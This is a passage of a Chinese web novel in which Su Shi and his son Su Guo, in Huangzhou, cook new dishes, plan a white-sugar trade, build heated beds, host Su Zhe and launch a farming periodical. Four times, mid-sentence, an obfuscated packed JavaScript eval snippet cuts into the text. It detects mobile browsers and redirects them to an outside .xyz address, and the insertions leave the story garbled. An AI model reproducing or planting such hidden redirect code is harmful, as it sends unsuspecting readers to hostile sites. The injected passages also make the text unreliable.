王齐愈见状忙道，“子瞻若有感兴趣的书籍可随时借阅。” 苏轼不舍推辞，自然应下。 王家兄弟本就希望苏轼能常来，待他挑完书籍，又道，“今日附近有耕牛坠崖而亡，早听闻子瞻于厨艺上很有造诣，倒正好招待了。” 苏轼听完哈哈一笑，“那幸好今日带了犬子前来，小儿不才，在厨艺上很有天赋，倒可以借花献佛请文甫与子辩品评一二了。” “此前东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470985|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坡肉风靡黄州，家中厨子也曾烹制，莫非就是出自苏小郎之手。” 苏轼点头。 苏过腼腆一笑，“牛肉味道更佳，若是不弃，倒可以再做一道类似的东坡牛肉。” 几人自然乐意。 于是引至厨房，王家厨子也很有经验，苏过将烹制方法一一告知，又亲手调了酱料。 牛肉烹制复杂耗时较长，需要先浸泡焯水再清炖至熟透，再混合酱料与配菜炖煮收汁，苏过也没有一直待在厨房，剩下的都由厨子来完成。 晚膳时众人便吃到了炖的软糯入味的东坡牛肉，还有小炒牛肉。 不说别人，苏过自己吃的都很享受。 新鲜牛肉果然怎么做都好吃。 “果然经苏小郎点拨，家仆厨艺精进许多。想必东坡肉也要正宗的才最美味呀。”王齐万感慨道。 苏过忙谦虚，“只是提供了做法而已，府上厨师技艺已是十分突出。” 苏轼也顺势邀请，“文甫子辩若感兴趣，改日可过江来玩，我们必备上东坡肉款待。” 王家兄弟自然应下。 丫鬟又送上甜品，乃是苏氏父子带来的白糖糕，之前在厨房已经让重新炸过裹上糖粉，虽不如初次出锅好吃，却也依然别有风味。 尤其是对第一次见到白糖的王家兄弟而言无疑还十分新鲜。 “此等糖霜从未见过，倒是新奇的紧。”王齐万感叹道。 听苏过介绍乃突发奇想尝试所得，二人更觉有趣。 “此物若售卖得当，可以说是一本万利了。”王齐愈说道，毕竟出身商贾巨富之家，商业嗅觉还是十分敏锐的。 毕竟糖类价贵，富庶之地诸如江南和汴京等更是追捧甜食。 此等洁白细腻的糖，稍微包装下，肯定很受士大夫贵族追捧。 苏过听的连连点头。 这想法倒是和他不谋而合，只不过苦于无人操持而已。 王齐愈听了苏过的烦恼反而哈哈一笑。 “这有何难，我们兄弟虽隐居在此，但家中子侄仍有不少经商之人，若子瞻与小郎有意，我替你们牵线安排即可。” 简直是瞌睡就来枕头，苏过没想到来新朋友家还能有这种惊喜。 忙看着他爹，见老苏点点头，便也应下，只等后续安排。 毕竟广西云南盛产甘蔗，王巩正好在广西，而江南那地儿老苏朋友就更多了，还有汴京。可以说从原产地到销售地都有人脉，就差跑通流程的人了。 到时候老苏再写两首诗夸一夸白糖，品质高洁什么的，绝对销量火爆。 想到这里，苏过已经能预见以后数钱到手软了。 几人约好改日再聚，苏过满意归家。 接下来，苏轼他们不时便渡江去王家拜访和借书，有时遇到风浪大不便返航还会借住两日。 两家关系渐近，而秋天也逐渐过去，开始进入冬天。 黄州的冬天冷风刮的苏过脸疼，刚来这里时已临近新年，并没有这般冷冽。 倒让苏过开始绞尽脑汁想想可以怎样保暖。 而苏家此时，也迎来一个特别的客人。 苏过他叔，老苏亲弟弟，苏子由来啦。 25. 第 25 章 苏三叔抵达的时候，苏家正在进行施工。 进行一项由苏过主导的改造活动，盘炕。 没办法，黄州实在太冷了。 或者说，整个北宋都很冷。 现在貌似处于寒潮时期，大雪连下几个月是常有的事情。 黄州虽然天气还没有这么极端，但没有羽绒服什么的加持，苏过已经是冻的完全不敢出门。 不对，是躺床上都感觉凉飕飕的。 于是连夜画了示意图，又说服了苏轼与王氏，给家里盘上暖炕。 苏轼向来乐于尝试，又被苏过画了大饼。 什么坐在温暖的炕上下棋喝酒，看书品茶。 真的是有那么亿点点吸引人。 于是立马拨款，联系了靠谱的工匠。 如此这般沟通完毕，立刻就开始动工。 前后折腾小半个月，才终于完工。 苏辙带着家人到来时，苏家第一批炕已经投入使用。 全家人都窝在炕上舍不得下来。 听下人来报说弟弟来了，苏轼立马连鞋都来不及穿好就跑去迎接。 本来五月时，苏辙就准备来探望下兄长在黄州情况如何。 但彼时他也刚到任地，老苏来信说一切安好，还反复炫耀自己吃到的辣椒做的各种美食。 苏辙也就放下心来。 他在筠州任监盐酒税，长官毛国镇是一名大好人，曾在开封府做过推官，十分擅长断案，治下清明，对苏辙也十分关爱。两人经常一起游园赏花，成天各种诗词唱和。 听说苏辙担心兄长在黄州的情况，特意提前批了假，好让苏家兄弟二人能够团聚。 于是苏辙特地带上妻儿，一路来到黄州探望兄长，顺便共度新年。 一进堂屋，便感觉到暖气迎面而来。 除了常见的炉子燃着炭火，整个房间暖的异常，苏轼带着他到一个矮塌上坐下，源源不断的热度从底下传来，苏辙十分惊讶，“这是何物？” 老苏哈哈一笑，“这可是过冬神器，火炕。” 原来在体验了火炕的温暖后，苏轼强烈要求，在堂屋甚至书房等都规划出了一片区域，仿着火炕样式做了矮塌，又找木匠定制了小桌子，配上垫子等，日常在榻上休息看书都很合适。 可以说是把保暖做到了极致。 除此外，屋里火炉沿上还煨着一些炒栗子与白果。 真是一片温馨景象。 见状，苏辙的心才彻底放下。 此前虽然收到兄长信件后少了许多担忧，但当面真切见到兄长生活如此惬意悠闲还是很不一样的。 一路奔波，苏辙一家都带着疲惫，尤其是小女儿苏蓁，脸上都被冻的出现红痕。 王氏见状忙拉了她的手，“蓁姐儿的脸都冻皴了，路上想必十分辛苦。” 苏过向来心疼小孩，尤其是这么小的妹妹。 忙到厨房端来给箪哥儿准备的甜品，“这是新做的姜汁撞奶，你尝尝，既驱寒又保暖。” 蓁姐儿还是第一次吃到这样的甜点，口感嫩滑，一碗吃完，感觉从胃里暖到了四肢，“真好吃。” 幸好做的量够多，给三叔家人都盛上一碗，毕竟刚从外面吹了冷风进来，驱寒很重要。 吃过甜品，苏轼带了弟弟到书房，两人有许多话要叙。 而王氏则留史氏与孩子们一起，两妯娌关系一直很好，也有好多体己话要讲。 将孩子们赶到一边自己玩。 房间够暖和，苏过也不好意思跟母亲挤在矮塌上，便拉了堂兄妹们和二哥一起，到一旁的火炉边上边烤栗子边聊天。 这次仅几个堂兄和堂妹苏蓁过来，堂姐苏芹听说和夫君一起返乡了。 几人都对这个能做好吃的堂弟/堂哥十分喜欢。几人叽叽喳喳从上次好吃的羊肉聊到筠州的生活。 苏过与苏迨更是积极分享了近来在黄州的各种美食，尤其是美味的辣椒。 听的几兄妹口水连连，忙说都要尝一下。 可惜小龙虾这种季节限定肯定是吃不到了。 知道他们这次可以待不短的时间，苏过拍胸承诺，“你们若想吃，接下来咱们把经典菜色轮个遍。” 几人一阵欢呼，听的王氏与史氏频频往这边看。 苏轼兄弟的谈话就要正经许多。 和苏轼刚来黄州坐了大半年冷板凳不一样，苏辙到筠州是要干活儿的，而且十分不巧，本来负责盐酒税的是三个人，结果他刚到，另外两个人就被罢免了，他一个人干三个人的活儿，几乎成天从早忙到晚，回家倒头就睡。 也真是难兄难弟，苏轼刚来黄州没地方住，一家借住寺庙。弟弟苏辙本来有官舍可以住，结果偏偏被洪水冲毁了一直没修好，幸好都遇到了好心的知州，帮他协调住在了转运使的官邸里面。 苏辙虽然是弟弟，但向来更加稳重多思，在筠州又是工作生活劳累，又担心兄长，成天饮酒，本来自幼就有肺病，这番折腾下直接复发了。 还给哥哥写了两百字的长诗诉苦（撒娇）。 老苏也是直男，立马回信写诗骂弟弟不好好照顾自己，这么折腾身体，以后哪有机会一起归隐田园。 不过骂归骂，对弟弟的身体老苏还是很担心的。 虽然现在苏辙面色如常。苏轼还是立马找了辩才法师过来，给苏辙诊脉看病。 辩才法师把完脉，拿笔写下药方，“子由劳累过度，肺疾复发后也未曾好好休养，已是气虚至极，若不好好调养，恐有损寿元。” 听的苏轼又是心疼又很想骂人。 “活儿哪有干的完的，生病了还不知道摸鱼，真是死脑筋。” 骂完又连忙让人去抓药熬药，务必要趁这段时间让法师好好给他调养身体。 这番动静，王氏这边自然也都听到。 说起此事，史氏也是心疼的直掉眼泪，跟王氏诉苦，“偏他是个好强性子，明明病痛未愈，也不肯好好休息，成日里早出晚归，又是水患又是税务，身体亏空也不肯好好休养。” 夫君被病痛折磨，她虽也有好好相劝，但也深知丈夫为人，并不是肯敷衍职责的人。 因此这次告假来黄州，她十分支持，就想着趁此机会让苏辙好好休息，也让二伯好生劝一劝。 见状，王氏只得安慰史氏。 又叫来苏过，“可有对肺疾有益的药膳，你三叔很需要好生进补一番。” 苏过自然义不容辞，“待我与二哥还有法师研究一番。” 他虽然之前只研究过一些普通养生的方子，但他哥可是辩才法师高徒，两人商商量量便定下了好几道菜色。 也顾不上寒风，苏过出门到厨房安排食材，务必让三叔今天就开始进补。 于是刚被哥哥盯着喝完一大碗药的苏子由，晚膳就又被盯着吃下许多药膳。 专门益气养肺的莲子鸡，沙参百合老鸭汤，苏过准备了好多种，准备每天轮换着来。 连日常饮子，都准备给三叔替换成川贝炖雪梨和黄芪姜枣茶。 把苏辙感动的不要不要的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498207|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然，等后面其他人都在吃钵钵鸡水煮鱼麻辣牛肉，他却因为肺疾不宜吃辣，只能一旁看着时，这种感动就带着一点心酸了。 而且兄长苏轼还特别无情，严格限制他不能吃辣，说是一定要趁这段时间把病养好。 毕竟，他也是曾有过类似的人，没道理面对美食他能坚持，弟弟却不能坚持。 当然，如果他能不要故意在苏辙面前炫耀香味的话，可能更有兄长的样子。 而此时远在北京的晁无咎与秦观二人，也正在吃着锅子聊起苏家兄弟。 寒冷的冬天，还有什么能比热气腾腾的火锅更吸引人呢。 之前苏过随着老苏的信，给他们也寄了许多食谱，甚至还有一包辣椒。 不得不说，在冬天，吃辣也是一种保暖方式。 “不知苏公他们在黄州，是否又有什么新鲜事，几月不见，倒像几年般丰富。”秦观感慨。 两人本来只是在直舍悄悄加餐，结果辣椒的香味太霸道，将黄庭坚吸引了过来，一起来的还有大名知府文彦博。 黄庭坚这时也正因为乌台诗案被牵连，贬至北京国子监当教授，他与晁无咎秦观二人同为苏门弟子，还有个张耒，四人并称为苏门四学士。 可惜张耒此时正在河南做县丞，不然四人倒是能一起聚会唱和，美事一桩。 黄庭坚一到北京就十分受文彦博赏识，两人时常聚会谈天。 闻到火锅香味时，他立马就猜到是好友正在聚餐，带着文彦博就去蹭饭了。 “苏公明明给你也寄了食谱和辣椒，偏你宝贝似的放着。下次就去你房里起锅了。”晁无咎见好友前来，调侃说道。 虽然苏过有给他们写辣椒种植方法，但辣椒有限，种子也要等开春才能种下去，可不是属于稀缺资源么。 秦观倒是立马就去给两人拿了两双碗筷，几人围着炉子一边吃一边闲聊。 文彦博已经年近八旬，却依然精神矍铄，与小辈相处丝毫没有端着。 不过毕竟是三朝元老，出将入相几十载，晁无咎和秦观对一起吃饭还有点压力来着。 但几人有一个天然的共同话题，那就是苏轼，聊着聊着，气氛就融洽起来。 北京靠近辽国，自澶渊之盟后，两国勉强算是和平共处了几十年。 辽国深受北宋文化吸引，尤其是辽道宗耶律洪基，十分认同中原文化，还很喜欢苏家两兄弟的诗词。 之前有本《眉山集》，收录了苏轼的许多早年诗作，在辽国十分畅销。 近来老苏在黄州生活安逸，又新作了许多诗，不少传唱至汴京和北京。 不时还有辽人跑到北京求购新作来着。 文彦博也十分喜爱苏轼才华，而且这些人本质上都属于“旧党”一派，关系深着呢，聊着聊着就气氛热烈起来。 文彦博也借此知道了许多黄州的事情，对于辣椒尤其感兴趣。 北地苦寒，官衙倒是有火墙取暖，但普通百姓向来不乏冻死的人。 这顿辣椒火锅吃下来，明显感觉身体暖和许多，若此物能种植推广，岂不是也能有益百姓。 他本就总揽北京军政事务，既想到此处，便直接提出了这个想法。 黄庭坚等人亦十分赞同，还给他指明了方向，“此物乃苏家小郎所种，文公找他即可。” 文彦博倒是第一次听到这个名字。 于是没过多久，苏过便收到了来自北京的信件，竟然是来自北宋名臣文大佬。 苏过一下子惊呆了。 26. 第 26 章 辣椒的魅力果然是无穷的。 不但身边的人喜欢，连远在大名府的文公竟然都写信来咨询。 要知道这可是文彦博呀，在仁宗时期就当好几轮宰相了。 武能平乱，文能治国，各种事迹简直可以直接开传记。 苏过在后世还见到过《文彦博灌水浮球》主题邮票来着，说是他小时候和别的孩子踢球，球掉进树洞里怎么都弄不出来，他直接往里面灌水，球就漂浮出来了。 简直是另一只聪明的乌鸦（划掉）/神童。 总之就是从小厉害到大就是了。 如今的官家也很喜欢这位大佬，虽然没做宰相，但之前上朝都想让他站宰相前面。 而且文彦博是反对王安石变法的，还为此请辞。这种情况下神宗也没斥责于他，还任命他为河东节度使，没多久又到大名府做了最高长官。 要知道对于苏轼，神宗再怎么欣赏才华，也不妨碍他纠结过后还是要处罚打压。 果然跟老板还是要处好关系，朝里多打打基础，这种时候，情分作用就出来了，老臣和新人的区别大着呢。 言归正传。 这样一位大佬，大老远写信来问可不可以匀他一些辣椒种子。 苏过还能怎么办呢，当然是给，多多的给！ 今年轮种了好几波辣椒，钵钵鸡大受欢迎后更是通过官府将辣椒种子推广了出去，黄州许多人都有种植，这边并不缺资源。 不过除了辣椒外，咱们可不能忽视这个与大佬搭上线的好机会。 苏过拿着信就去找他爹了。 这会儿老苏正和弟弟下棋呢。 两人坐在矮塌上，一人手边一杯珍珠奶茶，简直不要太惬意。 “爹，你猜我收到谁的信了？”苏过跑到老苏身边挨着坐下，给三伯打了声招呼，兴致勃勃问老爹。 苏轼还真知道是谁的信。 倒不是他有拆开看什么的。老苏向来尊重孩子隐私，收到信后直接就给了苏过。 但人家文彦博怎么可能只给儿子写信不给亲爹写呢。 自然也是写信寒暄了一番，顺便提到向苏过要种子的事。 “文公早就和我说了，不过要个辣椒种子而已，竟然还特意给你写信。”苏轼吐槽道。 “这说明辣椒魅力大。”苏过才不理会亲爹的吐槽，说的好像之前眼巴巴守着辣椒结果的人不是他一样，“不过这不是重点，文公来信，你就不和他请教下经验么？” “什么经验？”听到这里苏轼放下棋子，略带疑惑。 “当然是向官家要钱的经验啦！”苏过恨铁不成钢。 之前老苏接下任务准备在黄州兴修水利，推广新种，改善种植。还和王安石写信讨论的热火朝天。 但小半年执行下来其实困难重重。 红薯还在试种阶段自然不提，别的肥田政策推广并不顺利，而兴修水利更是卡在一个关键的地方，黄州没钱。 徐知州也不是那种乱发徭役压榨百姓的官员，想要把工程做下来，还是得要上面拨款。 但说起来容易做起来难，徐知州的申请折子已经被压下来好几回了。 苏轼作为一个并无实职的犯官自然也没办法。 但现在不是有前辈了么。 要钱和向上管理这块儿，文彦博熟呀。 人家文公在大名府做父母官这么多年，可遇到不少事，什么黄河决堤、蝗灾、旱灾都遇到过，不但处理得当，赈灾款项每次都第一时间要到。 还各种兴修水利，光大名城就修了两次，这花费可不小。 但人家不但朝官家要到了钱，这工程还做的让人满意，三万人修了两年，一修好就找官家给内外城御赐门名。 这不就是既会干活又会邀功，还让老板有面子的人才么。 不愧是曾经敢给张贵妃送蜀锦让吹枕头风升官的人。 真才实学与手段缺一不可。 苏轼本来听儿子讲着还觉得挺有道理的，结果说着说着竟然聊起前辈八卦，点了点苏过的头，“不可随意评判前辈。” 苏过意犹未尽收住，“总之，文前辈肯定能有一些好建议的。” 苏轼沉吟片刻，不得不说这是个好主意。 当下决定回信问一问。 正准备继续下棋，却听丫鬟来报，说徐知州来了。 苏轼忙去迎接。 这几个月下来，他们与徐知州关系十分融洽，时常一起出游，两府也经常互相拜访，不过近来天寒，哪怕坐马车也经常冻的难受，众人都懒得出门。 徐知州突然来苏家，倒有点稀罕了。 待迎到内室，却原来是听说苏辙来了，特地前来拜访。 苏家兄弟一同科考，都被仁宗称为宰辅之才。 苏子由的才气名声也是很高的。 徐知州本就欣赏苏轼才华，如今两兄弟俱在，怎么能不一叙呢。 几人寒暄坐下，移开棋盘，闲聊起来。 苏过见状，去到厨房，给年纪大的徐知州准备了少茶的奶茶，又备了两盘点心，端去房内。 几人已经由诗词聊到民生了。 苏过便也跟着坐下听一听。 苏轼提起他们讨论的向文彦博请教如何要拨款的想法。 徐知州连连点头，“文公政绩颇多，又熟悉三司，这倒是个好主意。” 毕竟他擅长的是治下，多施仁政，向上管理这块儿，他也十分头疼。 不过这件事有眉目，别的问题还有呢。 之前苏过总结列出了许多肥田改善、选种育苗措施，他们与有经验的老农讨论验证过十分有效。 但这年头，农桑是大事，许多百姓并不愿随意尝试，怕影响来年收成。 而官府的政策，多是以张贴告示，或者派小吏去下面乡里宣讲的方式传播，口口相传，不但容易有错漏，还覆盖率低。 种种下来，两人很是担心来年的收成效果。 明明有利剑在手，却无法施展，是在让人扼腕。 之前苏过只负责出主意，写了个大概就扔给老爹了，还真不知道这么多执行上的难处。 这些的确是很实际的问题。 不过在旁边听三人讨论，苏过倒有一点想法，“利剑在手无法施展固然难受，但我们可还有另一把利剑呢，双剑合璧，未必不能破局。” 听到这个，徐知州倒很感兴趣。“苏小郎有什么想法？” 他是知道很多主意都是苏过一起提供的，见识过他的聪慧，因此也从不将苏过当成普通小儿，很愿意听听他的意见。 “听下来，策令无法下达主要是两个原因，一个传播度不够，一个影响力不够，那咱们找个代言人不就好了。”苏过清清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505039|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子说道。 “何为带盐人？”这倒是个新鲜词，徐知州问道。 “代言人，代为发声之人。具有知名度、专业性，以及普遍认为可靠的人代为宣传，自然他人更加愿意相信啦。”苏过解释到。 苏家兄弟和徐知州都听的十分认可。 苏轼问儿子，“那这代言人要找谁呢？” 却见儿子直勾勾盯着自己， “那当然是东坡居士你啦。” 见状，徐知州哈哈一笑，“妙极！” 这的确是个好主意。 苏轼的才华可是从仁宗时代就广为流传，在民间十分有基础和知名度。 之前在别的任地也是干的有声有色，很有专业性。这些政绩就算黄州人民不知道，多宣传宣传，自然也就知道了。 而且老苏还有两个重要专利在手，养猪和辣椒。 之前骟猪养殖，可是许多人亲眼见证过的长得又快又好，猪肉还好吃，是目前推广度最高的新政了。 而且人家号东坡居士，可是真种过地的（虽然只是苏过对外宣传），辣椒什么的就是从他家地里最先种出来。 黄州人民都很喜欢这种调料呢。 还有好吃的东坡肉。 一个又会种地又会养殖的美食家。 推广的方法肯定能让土地粮食也长的更好啦。 逻辑自洽，完美！ 苏轼听完，也不得不承认，好像的确如此。 他也是个热心人儿，并不推辞这种扬名又利民的事，但这代言要怎么代呢。 “就算影响力够，这宣传要怎么做呢，难道让二哥下乡去各地宣传么？”苏辙也一下子想到新的问题，而且寒冬腊月的，他可也舍不得亲哥出门到处跑。 “那就要借助宣传的力量，我们来办一本黄州小刊吧！”苏过又抛出一个想法。 为避免讲的不够清晰，苏过去拿了纸笔，简单画出自己的构思。 之前各种政策对外宣讲时，其实也有一应文档，但基本都是干巴巴的几行文字，说完要做什么就没了。 甚至有些宣传的小吏都认字不全，宣讲多有不准确之处。 现在要保证推广的准确性与传播度，那版面上就要下功夫了。 政策要包含，但除了政令外还要附上之前试种和实验的各种数据，保证可信度与吸引力。 方法要推广，但不能只是文字，比如混合种植，田怎么挖，地怎么种，咱们画出来，务必直观。 另外既然都去宣讲了，除了学术内容，咱们还得带点娱乐。 写两首诗，夸一夸新政，再畅想下来年粮满仓，鱼满塘的美好愿景，那干活动力不就很足了么。 而且这诗不但要具备艺术性，最好学一学白居易，通俗一点，保证大家都能看懂还好传播。 说到这里，苏过还顺便在纸上画了一副小像，苏轼站在一片硕果累累的辣椒田里，手扶锄头，眺望远方。 真是辛劳又充满希望的景象。 听完苏过讲述，看着样品，徐知州和苏辙连连点头。 苏轼倒是看着小像，眼底兴奋又纠结。 “怎么还带画像的呢？” 苏过回他，“代言人怎么能没有海报！” 咱们不但要宣传政策，还要将老苏打造成黄州偶像。 颤抖吧，黄州渔农圈！ 27. 第 27 章 苏过的小刊草稿十分直观的展示了宣传思路。 从未经历过此番手段的三人畅想了一下，立马就感知到了这样一份刊物的魅力。 数据翔实，有理有据，图文并茂，劳逸结合。 无论是读书人还是百姓，相信都会被吸引。 只不过这种形式十分新鲜，不知道审核上会不会有问题。 北宋对书籍类的审核是非常严格的，除了官方出版的书籍外，私人想要出书，需要向国子监申请刻印“公据”，然后找当地转运司申请张榜公告，声明版权，每本书还要在扉页或者卷末刻上包含版权声明等各种信息的“牌记”。 整个流程又长又严格。 不过像这种小刊理论上不属于书籍，倒是有点像邸报，主要是发布官府的一些政策信息。 这种就不需要上报很多级审批了。 尤其是他们准备刊印的内容并不涉及司法税收等敏感信息，只需要本府知州和通判联合签署便可以发行。 黄州通判孟震，苏轼接触并不多，于是对徐知州一拱手，“看来此事还要劳烦大人费心了。” 徐知州倒和孟震关系不错，原因也简单，他们俩是黄州府衙里唯二不喝酒的人，一应宴会上都是以茶代酒，州府里一二把手都是如此奇特之人，很难不惺惺相惜，结为至交。 “亨之素性耿直，又侠肝义胆，此等有益民生的好事，想必不会为难。”不假思索的，徐知州就打包票了。 “可是那位仗义执言的孟君子？”苏辙倒是想起一个人，于是问道。 “子由竟也听说过？”徐知州见苏家父子二人皆面露不解，于是与苏辙一起讲了下原因。 孟震当年在京城做官的时候，与一个叫石介的人交好。结果石介死后，其儿子牵连进谋反一案，被捕入狱。 这种案子十分严重，一般人都避之不及，但孟震却仗义执言，还给宰相韩琦写信，说石介家风清正，其子绝不可能参与谋反。 韩琦收到信十分感叹，依孟震之言上疏，朝廷也因此释放了相关人员。 这件事在百姓和士大夫之间都流传较广，多称他为君子。 当时苏轼与苏辙都在眉州守孝，对此事并不知晓，苏辙也是后来听朋友偶然提起。 苏轼素来钦佩这类侠义之人，听完此事倒是对这位一直印象平平的通判产生了兴趣。 “那子瞻以后便和我一起去找亨之定稿吧。”徐知州见状邀请道。 “甚好，甚好。”苏轼满意点头。 于是几人分工，准备就着草稿将第一期小刊弄出来。 苏过在一旁装鹌鹑降低存在感，却被亲爹精准点名，“你既然出了主意，就别想躲懒。这图表示例怎么展示，还需好好弄个章程出来。” 哎，果然没躲过。 不过苏过也只是习惯性咸鱼，对于这样一份创新尝试的刊物，他其实还是很感兴趣的。 几人讨论出内容分配与后续安排，接下来一段时间又开始忙起来。 连苏辙都被苏过提议抓了壮丁，毕竟有人才不用多浪费。 苏三叔的诗词也是很好呢，这种扬名机会，多多益善，以后都用得上，必须见者有份。 接下来，苏家兄弟几人都陷入忙碌状态，连苏二哥都被苏过拉着贡献了一个治疗风寒的药方。 好在效率喜人，没多久第一份黄州小刊就定稿了，被命名为《黄州期刊》，主要宣传州内渔农政策，发布周期不定。 在知州通判的共同支持下，第一期迅速被刻印出来，由各小吏带着开始进行乡镇巡讲。 引起了火热反响。 以往小吏们也经常下乡推广各种政策，但公文大多艰涩拗口，路上又奔波艰辛，往往是小吏讲的不耐烦，百姓听的也云里雾里。 但这本期刊一拿到，别说去宣讲，小吏们自己都读的爱不释手。 且不说每个政策都换了简明易懂的文案，还配了各种图例解说与案例支持。 第一期上面竟然还有苏轼苏辙两兄弟的新诗作。 配在东坡居士画像旁边，一下子就让人感受到东坡居士对来年丰收的信心和期望。 更重要的是，第一期期刊上，还教人做一种叫油条的果子，单独吃或者搭配豆浆都别有风味。看描述就让人流口水，而且做法还简单，学了正好大过年的时候费点油尝试一下。 在期刊上加上食谱是苏过临时的提议。 毕竟这年头好的厨艺都是不外传的，一份优质的食谱对群众的吸引力是十分巨大的。 而贡献这么几个食谱，对苏过来说，是再简单不过的事啦。 如今正是农闲，小吏们的巡讲受到热烈欢迎。 百姓们不但认真听每一个步骤的讲解，还十分积极的要求传阅。 上面画了好多图，一看就知道明年田地要怎么规划种植。 还有那副大大的东坡居士农耕图。 若是能人手一份就好了！ 贴在家里，有孩子的沾点文曲星气，没孩子的，这般积极喜悦的图，也一定能保佑明年地里丰收，过个好年。 期刊推出后，各项政令的落实速度大大的提高。 苏轼也放下心来。 不过也是冬天，除了去府衙外，老苏基本不出门。 否则出门遇到别人，就知道自己的人气发酵到什么地步了。 绝对会被拦下来要签名。 毕竟农耕图难得，有一份墨宝代替也是好的。 这一日，王家兄弟带着侄子来拜访，商量之前聊过的白糖事宜。 还送来一头山羊，说是刚买的大别山黑山羊，放养在山上，成天喝山泉吃百草，肉质十分鲜嫩。 见到此羊，倒让苏过想起之前在陈州没有吃到的烤全羊。 如今在自己院子里，各项条件都齐备，人又多，正是做烤全羊的好时机。 王家兄弟对烤全羊也很是感兴趣，几人合力将山羊宰杀处理好。 苏过调好酱料，叫上兄长和三位堂兄，几人一起给羊身和内里都涂抹上调料。 涂抹均匀后，还需要反复按摩揉搓，给羊身上划上数个刀口，腌制入味。 苏大哥自然是对这等事不感兴趣的，倒是箪哥儿，见小叔叔们揉的起劲，也想要参与进来。 自然被吕氏抱着，只让看不给摸。 按摩均匀后，留山羊在厨房继续腌制，众人各自去做事玩耍，只待傍晚开始烤制。 苏轼则带着王家兄弟等人前往书房。 之前他们提议可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511266|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以让家中子侄代为经营白糖，正好近日侄子王子宽来探望，他们忙说明了缘由，带侄子来了苏家。 王家兄弟自己不再经商，但王子宽是他们堂兄的儿子，一直有做行商生意，正适合经营此事。 王子宽本身走南闯北，也算是小有成功的商人。 对于叔伯所说的糖类生意本来不太感兴趣，毕竟时下黄糖冰糖生意常有人做，并不稀罕， 结果他这次来探望叔伯，看到王家的白糖，一下子惊呆了。 这成色和口感，绝对是突破性的，何愁卖不出好价。 于是主动催两个叔伯早点带他去见正主，好商量下生意。 只没想到，真正做出白糖的人，竟然还是个小孩子。 但他见多识广，并不轻易表露出诧异。 见人如此稳重，苏轼和苏过也放下心来。 既然是王家兄弟的亲人，自然没什么好遮掩的。 苏过直接带着王子宽去参观制糖流程，详细介绍了每个步骤。 几人又坐在书房，好生商量了从生产到推广的一应事宜。 苏轼已经给王巩写信提过，广西甘蔗产量与品质自不用提，待人过去，直接当地建个作坊，从收割甘蔗到制糖一气完成。 制好的白糖，就十分方便携带销往各地了。 到时候苏轼配合写诗营销一番，再联系诸多好友共同推广，不愁格调与销量上不去。 刚好苏辙也在，苏过直接邀请苏三叔也加入到宣传大军来，到时候利润从他这边直接分出一份作为推广费。 毕竟苏三叔的经济也是有点紧巴巴呢。 一家人没什么好推拒的，苏辙直接应下，又针对生产保密流程提了许多建议。 众人商议好，签了契书，便前往后院。 天色渐晚，可以开始烤羊了。 羊肉已经腌制入味，苏过最后给羊身刷上一层糖水便开始烤制。 家里刚好攒了些松木屑，用来烤羊正好。 燃着火堆，大家都不觉得寒冷，围在院子里一边看苏过烤羊一边聊天。 苏轼兄弟一人帮忙盯着火堆，一人负责按苏过指示给羊调整角度翻面。 羊皮逐渐上色，苏过又给羊身刷上一层油，这样可以让表皮不被烤焦。毕竟整只羊还是很难熟的，火不能太大，表皮要随时关注及时翻面防止烤焦，还要刷好几次油，不时划上两刀方便里面烤熟。 等到烤好，天色已经完全黑了下来。 整只羊呈现出金黄油亮的色泽，香味早已铺满整个院子，大家都等的迫不及待了。 将羊移到桌子上，苏过直接让准备了好几份刀具，大家自己选择喜欢的部位分切品尝。 蘸料苏过也准备了好几种，可以自行选择搭配，还让钟婶做了薄饼，卷着羊肉吃也别有风味。 刚烤好的羊肉表皮酥脆，带着一股甜香，内里鲜嫩多汁，一点膻气都无，只剩下美味。 众人都吃的十分尽兴，却听丫鬟来报，说女眷那边史式身体不适，让苏三叔赶紧过去看看。 苏辙忙放下羊肉往房里去，苏轼苏过也跟上。 